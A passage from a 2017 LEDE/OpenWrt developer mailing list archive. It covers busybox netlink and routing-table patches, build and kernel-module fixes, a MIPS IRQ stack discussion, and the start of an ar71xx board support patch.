--- a/package/utils/busybox/patches/302-netlink-alignment.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From a843f09a4d4428cf11ca02307e60058251b05743 Mon Sep 17 00:00:00 2001
-From: Hauke Mehrtens <hauke at hauke-m.de>
-Date: Fri, 16 Sep 2016 21:52:03 +0200
-Subject: [PATCH] libnetlink: fix alignment of netlink messages
-
-An padding to align a message should not only be added between
-different attributes of a netlink message, but also at the end of the
-message to pad it to the correct size.
-
-Without this patch the following command does not work and returns an
-error code:
-ip link add type nlmon
-
-Without this ip from busybox sends this:
-sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=45, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1474057401, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon"}, iov_len=45}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 45
-return value: 2
-
-The normal ip utile from iproute2 sends this:
-sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=48, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1473716938, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon\0\0\0"}, iov_len=48}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 48
-return value: 0
-
-With this patch ip from busybox sends this:
-sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=48, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1473716908, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon\0\0\0"}, iov_len=48}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 48
-return value: 0
-
-Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
----
- networking/libiproute/libnetlink.c | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
-
---- a/networking/libiproute/libnetlink.c
-+++ b/networking/libiproute/libnetlink.c
-@@ -338,14 +338,14 @@ int FAST_FUNC addattr32(struct nlmsghdr
- 	int len = RTA_LENGTH(4);
- 	struct rtattr *rta;
- 
--	if ((int)(NLMSG_ALIGN(n->nlmsg_len) + len) > maxlen) {
-+	if ((int)(NLMSG_ALIGN(n->nlmsg_len + len)) > maxlen) {
- 		return -1;
- 	}
- 	rta = (struct rtattr*)(((char*)n) + NLMSG_ALIGN(n->nlmsg_len));
- 	rta->rta_type = type;
- 	rta->rta_len = len;
- 	move_to_unaligned32(RTA_DATA(rta), data);
--	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + len;
-+	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len + len);
- 	return 0;
- }
- 
-@@ -354,14 +354,14 @@ int FAST_FUNC addattr_l(struct nlmsghdr
- 	int len = RTA_LENGTH(alen);
- 	struct rtattr *rta;
- 
--	if ((int)(NLMSG_ALIGN(n->nlmsg_len) + len) > maxlen) {
-+	if ((int)(NLMSG_ALIGN(n->nlmsg_len + len)) > maxlen) {
- 		return -1;
- 	}
- 	rta = (struct rtattr*)(((char*)n) + NLMSG_ALIGN(n->nlmsg_len));
- 	rta->rta_type = type;
- 	rta->rta_len = len;
- 	memcpy(RTA_DATA(rta), data, alen);
--	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + len;
-+	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len + len);
- 	return 0;
- }
- 
-@@ -370,14 +370,14 @@ int FAST_FUNC rta_addattr32(struct rtatt
- 	int len = RTA_LENGTH(4);
- 	struct rtattr *subrta;
- 
--	if (RTA_ALIGN(rta->rta_len) + len > maxlen) {
-+	if (RTA_ALIGN(rta->rta_len + len) > maxlen) {
- 		return -1;
- 	}
- 	subrta = (struct rtattr*)(((char*)rta) + RTA_ALIGN(rta->rta_len));
- 	subrta->rta_type = type;
- 	subrta->rta_len = len;
- 	move_to_unaligned32(RTA_DATA(subrta), data);
--	rta->rta_len = NLMSG_ALIGN(rta->rta_len) + len;
-+	rta->rta_len = NLMSG_ALIGN(rta->rta_len + len);
- 	return 0;
- }
- 
-@@ -386,14 +386,14 @@ int FAST_FUNC rta_addattr_l(struct rtatt
- 	struct rtattr *subrta;
- 	int len = RTA_LENGTH(alen);
- 
--	if (RTA_ALIGN(rta->rta_len) + len > maxlen) {
-+	if (RTA_ALIGN(rta->rta_len + len) > maxlen) {
- 		return -1;
- 	}
- 	subrta = (struct rtattr*)(((char*)rta) + RTA_ALIGN(rta->rta_len));
- 	subrta->rta_type = type;
- 	subrta->rta_len = len;
- 	memcpy(RTA_DATA(subrta), data, alen);
--	rta->rta_len = NLMSG_ALIGN(rta->rta_len) + len;
-+	rta->rta_len = NLMSG_ALIGN(rta->rta_len + len);
- 	return 0;
- }
- 
diff --git a/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch b/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
deleted file mode 100644
index d7a38f6..0000000
--- a/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
+++ /dev/null
@@ -1,486 +0,0 @@
-From 485fcc89b99eae9cc7501eaff344b104e52ab7bf Mon Sep 17 00:00:00 2001
-From: Jo-Philipp Wich <jo at mein.io>
-Date: Mon, 26 Sep 2016 17:48:22 +0200
-Subject: [PATCH] iproute: properly support high routing table IDs
-
-The Linux kernel uses two distinct fields to denote the routing table ID in
-use by network routes; the 8 bit `rtm_table` member of `struct rtmsg` and the
-32 bit `RTA_TABLE` netlink attribute.
-
-If a routing table ID is larger than 255, the `RT_TABLE` attribute must be used
-and the `rtm_table` field has to be set to the special `RT_TABLE_UNSPEC` value.
-
-This commit ...
- - switches the *_n2a() and *_a2n() functions of rt_names.c to use dynamically
-   sized, name-sorted arrays instead of fixed arrays limited to 1024 slots in
-   order to support IDs up to 65535
- - adds proper handling of high table IDs to iprule.c and iproute.c when
-   adding, removing and dumping ip rules and network routes
-
-After this change, the Busybox ip applet fully supports IP rules with high ID
-numbers, using the same logic as the full iproute2.
-
-Signed-off-by: Jo-Philipp Wich <jo at mein.io>
----
- networking/libiproute/iproute.c  |  75 ++++++++------
- networking/libiproute/iprule.c   |   4 +-
- networking/libiproute/rt_names.c | 204 +++++++++++++++++++++++----------------
- 3 files changed, 169 insertions(+), 114 deletions(-)
-
---- a/networking/libiproute/iproute.c
-+++ b/networking/libiproute/iproute.c
-@@ -66,6 +66,7 @@ static int FAST_FUNC print_route(const s
- 	inet_prefix dst;
- 	inet_prefix src;
- 	int host_len = -1;
-+	uint32_t rtable;
- 
- 	if (n->nlmsg_type != RTM_NEWROUTE && n->nlmsg_type != RTM_DELROUTE) {
- 		fprintf(stderr, "Not a route: %08x %08x %08x\n",
-@@ -83,34 +84,6 @@ static int FAST_FUNC print_route(const s
- 	else if (r->rtm_family == AF_INET)
- 		host_len = 32;
- 
--	if (r->rtm_family == AF_INET6) {
--		if (G_filter.tb) {
--			if (G_filter.tb < 0) {
--				if (!(r->rtm_flags & RTM_F_CLONED)) {
--					return 0;
--				}
--			} else {
--				if (r->rtm_flags & RTM_F_CLONED) {
--					return 0;
--				}
--				if (G_filter.tb == RT_TABLE_LOCAL) {
--					if (r->rtm_type != RTN_LOCAL) {
--						return 0;
--					}
--				} else if (G_filter.tb == RT_TABLE_MAIN) {
--					if (r->rtm_type == RTN_LOCAL) {
--						return 0;
--					}
--				} else {
--					return 0;
--				}
--			}
--		}
--	} else {
--		if (G_filter.tb > 0 && G_filter.tb != r->rtm_table) {
--			return 0;
--		}
--	}
- 	if (G_filter.rdst.family
- 	 && (r->rtm_family != G_filter.rdst.family || G_filter.rdst.bitlen > r->rtm_dst_len)
- 	) {
-@@ -141,6 +114,37 @@ static int FAST_FUNC print_route(const s
- 	memset(&dst, 0, sizeof(dst));
- 	parse_rtattr(tb, RTA_MAX, RTM_RTA(r), len);
- 
-+	rtable = tb[RTA_TABLE] ? *(uint32_t*)RTA_DATA(tb[RTA_TABLE]) : r->rtm_table;
-+
-+	if (G_filter.tb) {
-+		if (r->rtm_family == AF_INET6) {
-+			if (G_filter.tb < 0) {
-+				if (!(r->rtm_flags & RTM_F_CLONED)) {
-+					return 0;
-+				}
-+			} else {
-+				if (r->rtm_flags & RTM_F_CLONED) {
-+					return 0;
-+				}
-+				if (G_filter.tb == RT_TABLE_LOCAL) {
-+					if (r->rtm_type != RTN_LOCAL) {
-+						return 0;
-+					}
-+				} else if (G_filter.tb == RT_TABLE_MAIN) {
-+					if (r->rtm_type == RTN_LOCAL) {
-+						return 0;
-+					}
-+				} else if (G_filter.tb != rtable) {
-+					return 0;
-+				}
-+			}
-+		} else {
-+			if (G_filter.tb != rtable) {
-+				return 0;
-+			}
-+		}
-+	}
-+
- 	if (tb[RTA_SRC]) {
- 		src.bitlen = r->rtm_src_len;
- 		src.bytelen = (r->rtm_family == AF_INET6 ? 16 : 4);
-@@ -349,7 +353,9 @@ IF_FEATURE_IP_RULE(ARG_table,)
- 	smalluint ok = 0;
- 	smalluint scope_ok = 0;
- 	int arg;
--
-+#if ENABLE_FEATURE_IP_RULE
-+	uint32_t rtable = 0;
-+#endif
- 	memset(&req, 0, sizeof(req));
- 
- 	req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
-@@ -419,7 +425,7 @@ IF_FEATURE_IP_RULE(ARG_table,)
- 			NEXT_ARG();
- 			if (rtnl_rttable_a2n(&tid, *argv))
- 				invarg_1_to_2(*argv, "table");
--			req.r.rtm_table = tid;
-+			rtable = tid;
- #endif
- 		} else if (arg == ARG_dev || arg == ARG_oif) {
- 			NEXT_ARG();
-@@ -475,6 +481,15 @@ IF_FEATURE_IP_RULE(ARG_table,)
- 		}
- 	}
- 
-+#if ENABLE_FEATURE_IP_RULE
-+	if (rtable >= 256) {
-+		addattr32(&req.n, sizeof(req), RTA_TABLE, rtable);
-+		req.r.rtm_table = RT_TABLE_UNSPEC;
-+	} else if (rtable > 0) {
-+		req.r.rtm_table = rtable;
-+	}
-+#endif
-+
- 	if (mxrta->rta_len > RTA_LENGTH(0)) {
- 		if (mxlock) {
- 			rta_addattr32(mxrta, sizeof(mxbuf), RTAX_LOCK, mxlock);
---- a/networking/libiproute/iprule.c
-+++ b/networking/libiproute/iprule.c
-@@ -114,7 +114,9 @@ static int FAST_FUNC print_rule(const st
- 		printf("iif %s ", (char*)RTA_DATA(tb[RTA_IIF]));
- 	}
- 
--	if (r->rtm_table)
-+	if (tb[RTA_TABLE])
-+		printf("lookup %s ", rtnl_rttable_n2a(*(uint32_t*)RTA_DATA(tb[RTA_TABLE])));
-+	else if (r->rtm_table)
- 		printf("lookup %s ", rtnl_rttable_n2a(r->rtm_table));
- 
- 	if (tb[RTA_FLOW]) {
---- a/networking/libiproute/rt_names.c
-+++ b/networking/libiproute/rt_names.c
-@@ -11,21 +11,26 @@
- #include "rt_names.h"
- 
- #define CONFDIR          CONFIG_FEATURE_IP_ROUTE_DIR
-+#define RT_TABLE_MAX	65535
-+
-+struct rtnl_tab_entry {
-+	unsigned int id;
-+	const char *name;
-+};
- 
- typedef struct rtnl_tab_t {
--	const char *cached_str;
--	unsigned cached_result;
--	/* upstream version switched to a hash table and removed
--	 * id < 256 limit. For now bbox bumps this array size from 256
--	 * to 1024. If you plan to change this to a hash table,
--	 * consider merging several hash tables we have (for example,
--	 * awk has resizable one!
--	 */
--#define RT_TABLE_MAX 1023
--	const char *tab[RT_TABLE_MAX+1];
-+	struct rtnl_tab_entry *tab;
-+	size_t length;
- } rtnl_tab_t;
- 
--static void rtnl_tab_initialize(const char *file, const char **tab)
-+static int tabcmp(const void *p1, const void *p2)
-+{
-+	const struct rtnl_tab_entry *e1 = p1;
-+	const struct rtnl_tab_entry *e2 = p2;
-+	return strcmp(e1->name, e2->name);
-+}
-+
-+static void rtnl_tab_initialize(const char *file, rtnl_tab_t *tab)
- {
- 	char *token[2];
- 	char fullname[sizeof(CONFDIR"/rt_dsfield") + 8];
-@@ -40,34 +45,42 @@ static void rtnl_tab_initialize(const ch
- 				file, parser->lineno);
- 			break;
- 		}
--		tab[id] = xstrdup(token[1]);
-+
-+		tab->tab = xrealloc(tab->tab, (tab->length + 1) * sizeof(*tab->tab));
-+		tab->tab[tab->length].id = id;
-+		tab->tab[tab->length].name = xstrdup(token[1]);
-+		tab->length++;
- 	}
- 	config_close(parser);
-+	qsort(tab->tab, tab->length, sizeof(*tab->tab), tabcmp);
- }
- 
- static int rtnl_a2n(rtnl_tab_t *tab, uint32_t *id, const char *arg, int base)
- {
--	unsigned i;
--
--	if (tab->cached_str && strcmp(tab->cached_str, arg) == 0) {
--		*id = tab->cached_result;
--		return 0;
--	}
-+	int delta;
-+	ssize_t l = 0;
-+	ssize_t r = tab->length - 1;
-+	ssize_t m;
-+	uint32_t i;
-+
-+	while (l <= r) {
-+		m = l + (r - l) / 2;
-+		delta = strcmp(tab->tab[m].name, arg);
- 
--	for (i = 0; i <= RT_TABLE_MAX; i++) {
--		if (tab->tab[i]
--		 && strcmp(tab->tab[i], arg) == 0
--		) {
--			tab->cached_str = tab->tab[i];
--			tab->cached_result = i;
--			*id = i;
-+		if (delta == 0) {
-+			*id = tab->tab[m].id;
- 			return 0;
-+		} else if (delta < 0) {
-+			l = m + 1;
-+		} else {
-+			r = m - 1;
- 		}
- 	}
- 
- 	i = bb_strtou(arg, NULL, base);
- 	if (i > RT_TABLE_MAX)
- 		return -1;
-+
- 	*id = i;
- 	return 0;
- }
-@@ -77,40 +90,39 @@ static rtnl_tab_t *rtnl_rtprot_tab;
- 
- static void rtnl_rtprot_initialize(void)
- {
--	static const char *const init_tab[] = {
--		"none",
--		"redirect",
--		"kernel",
--		"boot",
--		"static",
--		NULL,
--		NULL,
--		NULL,
--		"gated",
--		"ra",
--		"mrt",
--		"zebra",
--		"bird",
-+	static const struct rtnl_tab_entry init_tab[] = {
-+		{  0, "none"     },
-+		{  1, "redirect" },
-+		{  2, "kernel"   },
-+		{  3, "boot"     },
-+		{  4, "static"   },
-+		{  8, "gated"    },
-+		{  9, "ra"       },
-+		{ 10, "mrt"      },
-+		{ 11, "zebra"    },
-+		{ 12, "bird"     }
- 	};
- 
- 	if (rtnl_rtprot_tab)
- 		return;
- 	rtnl_rtprot_tab = xzalloc(sizeof(*rtnl_rtprot_tab));
-+	rtnl_rtprot_tab->tab = xzalloc(sizeof(init_tab));
-+	rtnl_rtprot_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
- 	memcpy(rtnl_rtprot_tab->tab, init_tab, sizeof(init_tab));
--	rtnl_tab_initialize("protos", rtnl_rtprot_tab->tab);
-+	rtnl_tab_initialize("protos", rtnl_rtprot_tab);
- }
- 
- #if 0 /* UNUSED */
- const char* FAST_FUNC rtnl_rtprot_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rtprot_initialize();
- 
--	if (rtnl_rtprot_tab->tab[id])
--		return rtnl_rtprot_tab->tab[id];
-+	for (i = 0; i < rtnl_rtprot_tab->length; i++)
-+		if (rtnl_rtprot_tab->tab[i].id == id)
-+			return rtnl_rtprot_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- #endif
-@@ -126,27 +138,33 @@ static rtnl_tab_t *rtnl_rtscope_tab;
- 
- static void rtnl_rtscope_initialize(void)
- {
-+	static const struct rtnl_tab_entry init_tab[] = {
-+		{   0, "global"  },
-+		{ 200, "site"    },
-+		{ 253, "link"    },
-+		{ 254, "host"    },
-+		{ 255, "nowhere" }
-+	};
-+
- 	if (rtnl_rtscope_tab)
- 		return;
- 	rtnl_rtscope_tab = xzalloc(sizeof(*rtnl_rtscope_tab));
--	rtnl_rtscope_tab->tab[0] = "global";
--	rtnl_rtscope_tab->tab[255] = "nowhere";
--	rtnl_rtscope_tab->tab[254] = "host";
--	rtnl_rtscope_tab->tab[253] = "link";
--	rtnl_rtscope_tab->tab[200] = "site";
--	rtnl_tab_initialize("scopes", rtnl_rtscope_tab->tab);
-+	rtnl_rtscope_tab->tab = xzalloc(sizeof(init_tab));
-+	rtnl_rtscope_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
-+	memcpy(rtnl_rtscope_tab->tab, init_tab, sizeof(init_tab));
-+	rtnl_tab_initialize("scopes", rtnl_rtscope_tab);
- }
- 
- const char* FAST_FUNC rtnl_rtscope_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rtscope_initialize();
- 
--	if (rtnl_rtscope_tab->tab[id])
--		return rtnl_rtscope_tab->tab[id];
-+	for (i = 0; i < rtnl_rtscope_tab->length; i++)
-+		if (rtnl_rtscope_tab->tab[i].id == id)
-+			return rtnl_rtscope_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- 
-@@ -161,10 +179,17 @@ static rtnl_tab_t *rtnl_rtrealm_tab;
- 
- static void rtnl_rtrealm_initialize(void)
- {
--	if (rtnl_rtrealm_tab) return;
-+	static const struct rtnl_tab_entry init_tab[] = {
-+		{ 0, "unknown" }
-+	};
-+
-+	if (rtnl_rtrealm_tab)
-+		return;
- 	rtnl_rtrealm_tab = xzalloc(sizeof(*rtnl_rtrealm_tab));
--	rtnl_rtrealm_tab->tab[0] = "unknown";
--	rtnl_tab_initialize("realms", rtnl_rtrealm_tab->tab);
-+	rtnl_rtrealm_tab->tab = xzalloc(sizeof(init_tab));
-+	rtnl_rtrealm_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
-+	memcpy(rtnl_rtrealm_tab->tab, init_tab, sizeof(init_tab));
-+	rtnl_tab_initialize("realms", rtnl_rtrealm_tab);
- }
- 
- int FAST_FUNC rtnl_rtrealm_a2n(uint32_t *id, char *arg)
-@@ -176,14 +201,14 @@ int FAST_FUNC rtnl_rtrealm_a2n(uint32_t
- #if ENABLE_FEATURE_IP_RULE
- const char* FAST_FUNC rtnl_rtrealm_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rtrealm_initialize();
- 
--	if (rtnl_rtrealm_tab->tab[id])
--		return rtnl_rtrealm_tab->tab[id];
-+	for (i = 0; i < rtnl_rtrealm_tab->length; i++)
-+		if (rtnl_rtrealm_tab->tab[i].id == id)
-+			return rtnl_rtrealm_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- #endif
-@@ -193,22 +218,29 @@ static rtnl_tab_t *rtnl_rtdsfield_tab;
- 
- static void rtnl_rtdsfield_initialize(void)
- {
--	if (rtnl_rtdsfield_tab) return;
-+	static const struct rtnl_tab_entry init_tab[] = {
-+		{ 0, "0" }
-+	};
-+
-+	if (rtnl_rtdsfield_tab)
-+		return;
- 	rtnl_rtdsfield_tab = xzalloc(sizeof(*rtnl_rtdsfield_tab));
--	rtnl_rtdsfield_tab->tab[0] = "0";
--	rtnl_tab_initialize("dsfield", rtnl_rtdsfield_tab->tab);
-+	rtnl_rtdsfield_tab->tab = xzalloc(sizeof(init_tab));
-+	rtnl_rtdsfield_tab->length = sizeof(init_tab) / sizeof(init_tab[0]);
-+	memcpy(rtnl_rtdsfield_tab->tab, init_tab, sizeof(init_tab));
-+	rtnl_tab_initialize("dsfield", rtnl_rtdsfield_tab);
- }
- 
- const char* FAST_FUNC rtnl_dsfield_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rtdsfield_initialize();
- 
--	if (rtnl_rtdsfield_tab->tab[id])
--		return rtnl_rtdsfield_tab->tab[id];
-+	for (i = 0; i < rtnl_rtdsfield_tab->length; i++)
-+		if (rtnl_rtdsfield_tab->tab[i].id == id)
-+			return rtnl_rtdsfield_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- 
-@@ -224,27 +256,33 @@ static rtnl_tab_t *rtnl_rttable_tab;
- 
- static void rtnl_rttable_initialize(void)
- {
-+	static const struct rtnl_tab_entry tab_init[] = {
-+		{   0, "unspec"  },
-+		{ 253, "default" },
-+		{ 254, "main"    },
-+		{ 255, "local"   }
-+	};
-+
- 	if (rtnl_rttable_tab)
- 		return;
- 
- 	rtnl_rttable_tab = xzalloc(sizeof(*rtnl_rttable_tab));
--	rtnl_rttable_tab->tab[0] = "unspec";
--	rtnl_rttable_tab->tab[255] = "local";
--	rtnl_rttable_tab->tab[254] = "main";
--	rtnl_rttable_tab->tab[253] = "default";
--	rtnl_tab_initialize("tables", rtnl_rttable_tab->tab);
-+	rtnl_rttable_tab->tab = xzalloc(sizeof(tab_init));
-+	rtnl_rttable_tab->length = sizeof(tab_init) / sizeof(tab_init[0]);
-+	memcpy(rtnl_rttable_tab->tab, tab_init, sizeof(tab_init));
-+	rtnl_tab_initialize("tables", rtnl_rttable_tab);
- }
- 
- const char* FAST_FUNC rtnl_rttable_n2a(int id)
- {
--	if (id < 0 || id > RT_TABLE_MAX) {
--		return itoa(id);
--	}
-+	size_t i;
- 
- 	rtnl_rttable_initialize();
- 
--	if (rtnl_rttable_tab->tab[id])
--		return rtnl_rttable_tab->tab[id];
-+	for (i = 0; i < rtnl_rttable_tab->length; i++)
-+		if (rtnl_rttable_tab->tab[i].id == id)
-+			return rtnl_rttable_tab->tab[i].name;
-+
- 	return itoa(id);
- }
- 
-- 
2.1.4



From f.fainelli at gmail.com  Sat Jan 14 20:09:33 2017
From: f.fainelli at gmail.com (Florian Fainelli)
Date: Sat, 14 Jan 2017 20:09:33 -0800
Subject: [LEDE-DEV] [PATCH] build: Suffix build directory with _$(LIBC) for
 external toolchains
Message-ID: <20170115040933.22206-1-f.fainelli@gmail.com>

For external toolchain, we also know the type of C library used, and the
toolchain triplet may not always be reflective of that, therefore make
$(TARGET_DIR_NAME) suffixed with _$(LIBC).

Signed-off-by: Florian Fainelli <f.fainelli at gmail.com>
---
 rules.mk | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/rules.mk b/rules.mk
index 04fd936660be..b395e9f8fbf9 100644
--- a/rules.mk
+++ b/rules.mk
@@ -124,7 +124,8 @@ else
     GNU_TARGET_NAME=$(shell gcc -dumpmachine)
   endif
   REAL_GNU_TARGET_NAME=$(GNU_TARGET_NAME)
-  TARGET_DIR_NAME:=target-$(GNU_TARGET_NAME)$(if $(BUILD_SUFFIX),_$(BUILD_SUFFIX))
+  LIBC:=$(call qstrip,$(CONFIG_LIBC))
+  TARGET_DIR_NAME:=target-$(GNU_TARGET_NAME)_$(LIBC)$(if $(BUILD_SUFFIX),_$(BUILD_SUFFIX))
   TOOLCHAIN_DIR_NAME:=toolchain-$(GNU_TARGET_NAME)
 endif
 
-- 
2.9.3



From f.fainelli at gmail.com  Sat Jan 14 20:22:23 2017
From: f.fainelli at gmail.com (Florian Fainelli)
Date: Sat, 14 Jan 2017 20:22:23 -0800
Subject: [LEDE-DEV] Adding new people in patchwork?
Message-ID: <d3860eac-002d-97f0-15e8-3c400410704a@gmail.com>

Hi,

How do we get new people added to the delegation list in patchwork?

Thanks!
-- 
Florian


From f.fainelli at gmail.com  Sat Jan 14 21:26:01 2017
From: f.fainelli at gmail.com (Florian Fainelli)
Date: Sat, 14 Jan 2017 21:26:01 -0800
Subject: [LEDE-DEV] [PATCH v2 ubox 0/6] kmodloader: add module alias
 support
In-Reply-To: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
References: <1484326835-32472-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <6c321061-2b48-19ac-c46c-0f0a04dd8da9@gmail.com>

Le 01/13/17 ? 09:00, Yousong Zhou a ?crit :
> Aliases are essential information for working with kernel modules.  Netfilter
> subsystem will request for ipt_hashlimit and ip6t_hashlimit respectively when
> called with
> 
> 	xt_request_find_match(NFPROTO_IPV{4,6}, "hashlimit", 1)
> 	
> The kernel __request_module() will then invoke user mode modprobe to load them
> 
> 	/sbin/modprobe -q -- ipt_hashlimit
> 	/sbin/modprobe -q -- ip6t_hashlimit
> 
> where ipt_hashlimit and ip6t_hashlimit are aliases of xt_hashlimit
> 
> The patch depends on another patch in the build system to restore alias info
> to kernel modules.

FWIW:

Reviewed-by: Florian Fainelli <f.fainelli at gmail.com>

> 
> v2 <- v1
> 
>  - Fixed a missing pair of curly parenthesis after avl_for_each_element, and
>    this time the code was checked okay with -Wmisleading-indentation
>  - Dropped the now redundant argc < 2 check in load_modprobe()
> 
> Yousong Zhou (6):
>   kmodloader: remove redundant glob wildcard char
>   kmodloader: log to kmsg when loading directories of modules
>   kmodloader: modprobe: skip possible command line arguments
>   kmodloader: fix out-of-bound access when parsing .modinfo
>   kmodloader: add module alias awareness
>   kmodloader: make insert_module() idempotent
> 
>  kmodloader.c | 184 +++++++++++++++++++++++++++++++++++++++++++++++++----------
>  1 file changed, 153 insertions(+), 31 deletions(-)
> 


-- 
Florian


From f.fainelli at gmail.com  Sat Jan 14 21:34:02 2017
From: f.fainelli at gmail.com (Florian Fainelli)
Date: Sat, 14 Jan 2017 21:34:02 -0800
Subject: [LEDE-DEV] [PATCH] kernel: can: Add missing regmap dependency for
 kernel 4.4
Message-ID: <20170115053402.20742-1-f.fainelli@gmail.com>

Fixes build failure for kmod-can-c-can-platform which depends on
kmod-regmap for kernel 4.1 and 4.4.

Signed-off-by: Florian Fainelli <f.fainelli at gmail.com>
---
 package/kernel/linux/modules/can.mk | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/package/kernel/linux/modules/can.mk b/package/kernel/linux/modules/can.mk
index eeef88a835ce..5529fe02e0cd 100644
--- a/package/kernel/linux/modules/can.mk
+++ b/package/kernel/linux/modules/can.mk
@@ -241,7 +241,7 @@ $(eval $(call KernelPackage,can-c-can))
 define KernelPackage/can-c-can-platform
   TITLE:=Platform Bus based BOSCH C_CAN/D_CAN driver
   KCONFIG:=CONFIG_CAN_C_CAN_PLATFORM
-  DEPENDS:=kmod-can-c-can +LINUX_4_1:kmod-regmap
+  DEPENDS:=kmod-can-c-can +!LINUX_3_18:kmod-regmap
   FILES:=$(LINUX_DIR)/drivers/net/can/c_can/c_can_platform.ko
   AUTOLOAD:=$(call AutoProbe,c_can_platform)
   $(call AddDepends/can)
-- 
2.9.3



From Jason at zx2c4.com  Sun Jan 15 05:32:02 2017
From: Jason at zx2c4.com (Jason A. Donenfeld)
Date: Sun, 15 Jan 2017 14:32:02 +0100
Subject: [LEDE-DEV] per-cpu IRQ stack on MIPS
In-Reply-To: <f6ea2c92-8b9a-ab03-a77c-d489b8328f04@nbd.name>
References: <CAHmME9pZ65Z_jwFWzS0mMM7+Gh1zAHHBr3zhx3pWOpJWWwFmmg@mail.gmail.com>
 <f6ea2c92-8b9a-ab03-a77c-d489b8328f04@nbd.name>
Message-ID: <CAHmME9qbL6_x-t7FUonQckphFR7eJE4ZZC9DGfSmH_6E+-ZReg@mail.gmail.com>

Hey Felix,

On Wed, Jan 11, 2017 at 10:59 AM, Felix Fietkau <nbd at nbd.name> wrote:
>> It prevents crashes when lots of different networking drivers are
>> stacked on top of eachother, like gre+l2tp+somethingelse.
> I've pushed the backport of these changes to my staging tree at
> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>
> I've already tested it on a MT7621 board and it works fine, please test
> it on more devices.

It might be prudent to get this patch in before the freeze closes for
the upcoming LEDE version. It's an important stability fix for MIPS.

Jason


From john at phrozen.org  Sun Jan 15 05:45:48 2017
From: john at phrozen.org (John Crispin)
Date: Sun, 15 Jan 2017 14:45:48 +0100
Subject: [LEDE-DEV] Adding new people in patchwork?
In-Reply-To: <d3860eac-002d-97f0-15e8-3c400410704a@gmail.com>
References: <d3860eac-002d-97f0-15e8-3c400410704a@gmail.com>
Message-ID: <162b4e0e-4932-89cc-1553-b13c3eba2acf@phrozen.org>



On 15/01/2017 05:22, Florian Fainelli wrote:
> Hi,
> 
> How do we get new people added to the delegation list in patchwork?
> 
> Thanks!
> 

whats your userid ?

	John


From john at phrozen.org  Sun Jan 15 05:52:17 2017
From: john at phrozen.org (John Crispin)
Date: Sun, 15 Jan 2017 14:52:17 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: add Abicom SC300M support
In-Reply-To: <20170111161952.32716-1-i@conorogorman.net>
References: <20170111161952.32716-1-i@conorogorman.net>
Message-ID: <a5555865-f7ab-9866-d5c4-84a0ab40c7cf@phrozen.org>

Hi,

looks good, one minor nitpicks inline

On 11/01/2017 17:19, Conor O'Gorman wrote:
> Support Abicom International Scorpion SC300M Module
> 
> QCA9550 700MHz Extended Temperature Range
> 256MB DDR2
> 256MB Nand Flash
> 16MB SPI Flash
> 802.11a/na/b/g/ng
> GPIO x 22, USB x2, PCIe x2
> 10/100/1000 Ethernet
> 23dBm, Optional Onboard Antenna
> DC Input, 8-20V DC
> 85 x 55 mm
> 
> Signed-off-by: Conor O'Gorman <i at conorogorman.net>
> ---
>  target/linux/ar71xx/base-files/etc/board.d/01_leds |   1 +
>  .../linux/ar71xx/base-files/etc/board.d/02_network |   1 +
>  target/linux/ar71xx/base-files/etc/diag.sh         |   3 +-
>  target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
>  .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
>  target/linux/ar71xx/config-4.4                     |   1 +
>  .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
